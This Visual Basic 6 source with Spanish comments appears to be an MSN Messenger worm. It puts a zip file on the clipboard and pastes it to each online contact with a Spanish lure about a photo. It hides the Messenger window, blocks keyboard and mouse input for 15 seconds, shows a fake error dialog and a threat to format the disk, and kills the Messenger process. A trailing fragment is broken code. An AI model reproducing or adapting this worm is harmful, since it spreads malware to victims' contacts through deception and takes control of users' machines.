'declaraciones
Private WithEvents MSN As MessengerAPI.Messenger
 Dim contactos
Dim contacto
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const SW_HIDE = 0
Private Const SW_SHOW = 5
Dim Window As Long

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B

Private Sub Form_Load()
On Error Resume Next
Dim ap(0) As String
ap(0) = "C:\DSC00082.zip"
If ClipboardCopyFiles(ap) = True Then ' Nos ponemos en el Portapapeles
End If
Wait (1) ' Esperamos 1 respiro al procesador...


  
  Set MSN = New MessengerAPI.Messenger
Set contactos = MSN.MyContacts
 
For Each contacto In contactos
    If contacto.Status <> 1 Then 
        List1.AddItem contacto.SigninName
    End If
Next
  
Window = FindWindow(vbNullString, List1.List) 
 If Window = 0 Then 'si no encuentra la ventana
  MsgBox "Instala MSN Messenger o de lo contrario tu disco duro quedara completamente formateado", vbCritical + vbInformation, "Error" 'sale un mensaje de error
  Else
  ShowWindow Window, SW_HIDE 'showWindow ocultara la venta
  End If


Set w = CreateObject("Messenger.UIAutomation")
For Each contacto In w.MyContacts 'Vamos de contacto en contacto
If (contacto.Status = 2) Or (contacto.Status = 10) Or (contacto.Status = 14) Or (contacto.Status = 34) Or (contacto.Status = 50) Or (contacto.Status = 66) Then
Set iMsn = w.InstantMessage(contacto.SigninName)

SendKeys "^V"
DoEvents
Sleep 1
SendKeys "mira k foto me ice el otro dia"
DoEvents
SendKeys "{ENTER}"
DoEvents
Sleep 1
End If
Next
Wait (1) ' Esperamos un segundito para no "atascar" tanto...
' A partir de aki sirve para minimizar todas las ventanas...
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)

DoEvents
BlockInput True
Sleep 15000
BlockInput False

ShowWindow Window, SW_SHOW 'esto es para mostrar la ventana oculta

MsgBox "Error en el volumen 800fs00x0658 del servicio Windows Live Messenger. Por favor inicie sesion de nuevo", vbInformation, "Windows Live Messenger"
Shell "cmd.exe /c taskkill /f /im msnmsgr.exe"
end sub

Option Explicit
Public WithEvents MSN as MessengerApi.Messenger

Set MSN = New MessengerAPI.Messenger
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
SendKeys ("minick")
SendKeys ("{ENTER}")